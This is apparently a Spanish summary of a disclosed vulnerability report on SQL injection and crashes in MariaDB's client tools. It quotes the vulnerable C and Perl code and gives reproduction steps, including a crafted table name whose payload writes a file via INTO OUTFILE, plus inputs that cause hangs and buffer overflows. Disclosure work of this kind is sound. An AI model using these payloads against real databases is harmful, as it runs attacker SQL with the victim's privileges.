Reports
MEDIA[SQL INJECTION]#3849007

Inyección SQL en las utilidades cliente de MariaDB: mariadb-show ejecuta SQL oculto en nombres de tabla

mariadb-show, mariadb-dump y mariadb-convert-table-format montaban consultas con nombres de tablas o servidores sin escapar. Conectarse a una base controlada por un atacante bastaba para ejecutar su SQL; mariadb-dump tenía además bucles infinitos y desbordamientos.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

Lo habitual es pensar en la inyección SQL como un ataque contra el servidor. Este caso le da la vuelta: el atacante controla la base de datos y la víctima es quien la inspecciona con las herramientas de línea de órdenes de MariaDB. Varias de ellas toman nombres que devuelve el propio servidor (tablas, servidores federados) y los pegan tal cual dentro de nuevas consultas, sin escaparlos. Un nombre de tabla bien elegido se convierte así en SQL que ejecuta el cliente con los privilegios de quien lo lanza.

El fallo más serio está en mariadb-show --count --verbose. El investigador vortfu reportó además problemas menores en mariadb-convert-table-format.sh y mariadb-dump (otra inyección limitada, un bucle infinito y desbordamientos de búfer) y, como extra, un cierre inesperado de mariadb-import.

Datos del caso: CVE-2026-86047, debilidad clasificada como SQL Injection, enviado el 7 de julio de 2026 y divulgado el 8 de noviembre de 2026, con el reporte ya resuelto. El reporte no indica recompensa.

mariadb-show: el nombre de tabla entra en la consulta sin escapar

Con --count, la herramienta recorre el resultado de SHOW TABLES y, para cada tabla, construye un SELECT COUNT(*) interpolando el nombre entre acentos graves (client/mysqlshow.c, líneas 606-623):

/* Print the count of rows for each table */
my_snprintf(query, sizeof(query), "SELECT COUNT(*) FROM `%s`",
            row[0]);

if (!(mysql_query(mysql,query)))
...

Si el nombre contiene un acento grave, cierra el identificador y lo que viene después pasa a ser SQL. El investigador señala otros puntos con el mismo patrón en client/mysqlshow.c, líneas 466, 725, 738 y 762.

mariadb-convert-table-format.sh: comillas y comodines en LIKE

El script en Perl hace lo mismo con SHOW TABLE STATUS (scripts/mysql_convert_table_format.sh, línea 99):

$sth=$dbh->prepare("show table status like '$table'");

Aquí el margen es pequeño: según el investigador, solo se puede colar una comilla simple ' o comodines de LIKE. En su prueba, una tabla llamada poc% hace que el patrón coincida también con otra tabla y que el script informe mal de su motor.

mariadb-dump --system=servers: nombre de servidor sin comillas

En client/mysqldump.cc, línea 5241:

my_snprintf(buff, sizeof(buff), "show create server %s", row[0]);

El nombre del servidor ni siquiera va entre acentos graves, así que cualquier nombre con un espacio ya provoca la inyección. El propio investigador reconoce que no es muy aprovechable.

mariadb-dump --events: bucle infinito

Para volcar eventos, create_delimiter() busca un delimitador que no aparezca en el cuerpo del evento, añadiendo puntos y comas. Pero el bucle incrementa delimiter_max_size en vez de proposed_length (client/mysqldump.cc, líneas 2674-2695):

static char *create_delimiter(char *query, char *delimiter_buff,
                              int delimiter_max_size)
{
  int proposed_length;
  char *presence;


  delimiter_buff[0]= ';';  /* start with one semicolon, and */


  for (proposed_length= 2; proposed_length < delimiter_max_size;
      delimiter_max_size++) {


    delimiter_buff[proposed_length-1]= ';';  /* add semicolons, until */
    delimiter_buff[proposed_length]= '\0';


    presence = strstr(query, delimiter_buff);
    if (presence == NULL) { /* the proposed delimiter is not in the query. */
       return delimiter_buff;
    }


  }
  return NULL;  /* but if we run out of space, return nothing at all. */
}

El candidato se queda fijo en ;; y, si el evento ya contiene ;;, el bucle no termina nunca.

mariadb-dump: desbordamientos con usuarios y hosts largos

Al volcar usuarios con --replace, el resultado de CONCAT(QUOTE(u.user), '@', QUOTE(u.Host)) se copia con quote_for_equal() en un búfer fijo char buf[200], sin comprobar longitudes (client/mysqldump.cc, líneas 4959-4982 y 2307-2325). Un 'usuario'@'host' suficientemente largo, sin necesidad de llegar al máximo permitido, lo desborda. Algo parecido pasa al volcar una vista con un DEFINER muy largo: search_buf[256] y replace_buf[256] se llenan con strxmov() (líneas 7192-7219). Este segundo caso lo detecta una compilación con ASAN pero no hace caer la versión normal. Según el investigador, no parece fácil de explotar, y esos búferes deberían ampliarse ahora que MariaDB acepta usuarios y hosts más largos.

Extra: mariadb-import --lock-tables

Al importar ficheros directamente, el código avanza argv hasta el NULL final para rellenar files_to_load, y luego --lock-tables vuelve a usar el mismo puntero agotado con el número original de argumentos (client/mysqlimport.cc, líneas 1318-1322):

for (; *argv != NULL; argv++)
{
  table_load_params p(*argv, "", current_db, 0);
  files_to_load.push_back(p);
}
...

if (lock_tables)
  lock_table(mysql, argc, argv);

lock_table() termina llamando a fn_format() con un nombre de fichero NULL y el cliente se cae con un fallo de segmentación. No hace falta ninguna base de datos maliciosa: basta con usar la opción.

Pasos de reproducción

Inyección en mariadb-show

  1. En una base de datos que controla el atacante, crea una tabla normal con datos:
CREATE TABLE poc(i INT);
INSERT INTO poc VALUES (1), (2), (3);
  1. Crea una segunda tabla cuyo nombre lleva la carga. El acento grave duplicado es como se escribe un acento grave literal dentro de un identificador:
CREATE TABLE `poc`` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#`(i INT);
  1. Comprueba que SHOW TABLES devuelve ambos nombres:
SHOW TABLES;
-- poc
-- poc` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#
  1. La víctima ejecuta mariadb-show --count --verbose contra esa base. Al llegar a la segunda tabla, la herramienta envía:
SELECT COUNT(*) FROM `poc` HAVING 0 UNION SELECT user() INTO OUTFILE '/tmp/show_p'#`
  1. El fichero /tmp/show_p aparece con el usuario de la conexión de la víctima:
root@localhost

Comodín en mariadb-convert-table-format

  1. Crea dos tablas con motores distintos, una con % en el nombre:
CREATE TABLE `poc`(
  id INT
) ENGINE=MyISAM;

CREATE TABLE `poc%`(
  id INT
) ENGINE=InnoDB;
  1. Ejecuta mariadb-convert-table-format --engine=MYISAM --verbose .... La tabla InnoDB se da por convertida y se ignora:
Converting tables:
poc already uses the 'MYISAM' engine;  Ignored
poc% already uses the 'MYISAM' engine;  Ignored

Nombre de servidor en mariadb-dump --system=servers

  1. Crea dos servidores federados, uno con un espacio y un # en el nombre:
CREATE SERVER `poc`
  FOREIGN DATA WRAPPER mysql
  OPTIONS (HOST '127.0.0.1', DATABASE 'base_db');

CREATE SERVER `poc # hidden`
  FOREIGN DATA WRAPPER mysql
  OPTIONS (HOST '192.0.2.123', DATABASE 'hidden_db');
  1. Vuélcalos con mariadb-dump --system=servers. Como el nombre entra sin comillas en show create server %s, el del segundo servidor rompe la consulta.

Bucle infinito en mariadb-dump --events

  1. Crea un evento cuyo cuerpo contenga ;;:
CREATE EVENT e_low_hang
ON SCHEDULE AT CURRENT_TIMESTAMP + INTERVAL 1 DAY
DO SELECT ';;' AS marker;
  1. Ejecuta mariadb-dump --events .... El volcado se queda colgado justo después de la línea del evento y hay que cortarlo a mano:
$ mariadb-dump --events ...
...
--
-- Dumping events for database 'victimdb'
--
/*!50106 SET @save_time_zone= @@TIME_ZONE */ ;
/*!50106 DROP EVENT IF EXISTS `e_low_hang` */;
^C

Desbordamiento en mariadb-dump --system=users

  1. Crea un usuario con un nombre y un host largos:
CREATE USER 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'@'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
  1. Ejecuta mariadb-dump --system=users --replace .... El proceso aborta al final del volcado:
$ mariadb-dump --system=users --replace ...
...
DROP ROLE mariadb_dump_import_role;
/*M!100203 EXECUTE IMMEDIATE CONCAT('SET ROLE ', @current_role) */;
zsh: abort ...

Cierre de mariadb-import

$ mariadb-import --lock-tables db /tmp/x.txt
zsh: segmentation fault

Impacto

El escenario es el de alguien que conecta las herramientas oficiales de MariaDB a una base de datos controlada por un atacante. En ese caso:

  • mariadb-show --count ejecuta el SQL que el atacante esconde en un nombre de tabla, con los privilegios de la cuenta de la víctima. En la prueba se usa INTO OUTFILE para escribir en /tmp/show_p el resultado de user(), que muestra que la consulta corre como root@localhost.
  • mariadb-convert-table-format puede engañarse con comodines de LIKE para que tome por convertida una tabla que no lo está.
  • mariadb-dump puede quedarse colgado indefinidamente (--events) o abortar por desbordamiento de búfer (--system=users), es decir, una denegación de servicio en el cliente.
  • mariadb-import --lock-tables se cae en la importación directa de ficheros, sin intervención de ningún atacante.

Qué aprender de este caso

  • Los datos que devuelve el servidor también son entrada no confiable: nombres de tablas, servidores, usuarios o DEFINER pueden contener acentos graves, comillas, espacios o #. En herramientas que inspeccionan bases ajenas, busca cada snprintf/sprintf que meta row[0] en una consulta nueva.
  • Poner un identificador entre acentos graves no es escaparlo: hay que duplicar los acentos graves que contenga. Y en un LIKE, además de la comilla hay que escapar % y _, o mejor filtrar el resultado por igualdad exacta.
  • En bucles de búsqueda como create_delimiter(), comprueba que la variable que se incrementa es la misma que se compara y la que cambia el candidato; un error de una sola variable convierte un caso límite en un bucle sin fin.
  • Los búferes fijos (char buf[200], search_buf[256]) dimensionados con los límites antiguos de usuario y host se quedan cortos cuando esos límites crecen: al ampliar un límite, revisa todas las copias que dependían del anterior.